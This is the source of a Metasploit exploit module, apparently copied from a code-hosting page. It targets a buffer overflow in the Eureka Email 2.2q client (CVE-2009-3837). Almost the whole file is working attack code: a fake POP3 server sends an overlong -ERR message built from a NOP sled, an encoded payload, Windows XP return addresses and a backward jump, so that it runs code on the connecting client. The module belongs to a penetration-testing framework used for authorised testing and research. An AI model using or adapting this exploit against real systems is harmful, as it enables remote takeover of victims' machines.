Path: blob/master/modules/exploits/windows/misc/eureka_mail_err.rb
19591 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::TcpServer910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Eureka Email 2.2q ERR Remote Buffer Overflow',15# bof occurs due to wsprintfA @ 0x43bdf2 in "Eureka Mail.exe" v2.2.0.116# overflows a buffer of 512 bytes, smashes a buffer of 256 bytes, then the return address17'Description' => %q{18This module exploits a buffer overflow in the Eureka Email 2.2q19client that is triggered through an excessively long ERR message.2021NOTE: this exploit isn't very reliable. Unfortunately reaching the22vulnerable code can only be done when manually checking mail (Ctrl-M).23Checking at startup will not reach the code targeted here.24},25'Author' => [26'Francis Provencher (Protek Research Labs)',27'Dr_IDE',28'dookie',29'jduck'30],31'License' => MSF_LICENSE,32'References' => [33[ 'CVE', '2009-3837' ],34[ 'OSVDB', '59262' ],35[ 'EDB', '10235' ],36],37'DefaultOptions' => {38'EXITFUNC' => 'process',39},40'Payload' => {41'Space' => 700,42'BadChars' => "\x00\x0a\x0d\x20",43'StackAdjustment' => -3500,44'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",45'DisableNops' => true,46},47'Platform' => 'win',48'Targets' => [49[ 'Win XP SP3 English', { 'Ret' => 0x7E429353 } ], # jmp esp / user32.dll50[ 'Win XP SP2 English', { 'Ret' => 0x77D8AF0A } ], # jmp esp / user32.dll51],52'Privileged' => false,53'DefaultTarget' => 0,54'DisclosureDate' => '2009-10-22',55'Notes' => {56'Reliability' => UNKNOWN_RELIABILITY,57'Stability' => UNKNOWN_STABILITY,58'SideEffects' => UNKNOWN_SIDE_EFFECTS59}60)61)6263register_options(64[65OptPort.new('SRVPORT', [ true, "The POP3 daemon port to listen on", 110 ]),66]67)68end6970def on_client_connect(client)71return unless regenerate_payload(client)7273# the offset to eip depends on the local ip address string length...74already = "Your POP3 server had a problem.\n"75already << datastore['LHOST']76already << " said:\n\n -ERR "77space = (512 + 256 + 4) - already.length7879buffer = "-ERR "80buffer << make_nops(space - payload.encoded.length)81buffer << payload.encoded82buffer << [target.ret].pack('V')83buffer << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-0x2c0").encode_string84buffer << "\r\n"8586print_status("Sending exploit to #{client.peerhost}:#{client.peerport}...")87client.put(buffer)8889handler90service.close_client(client)91end92end939495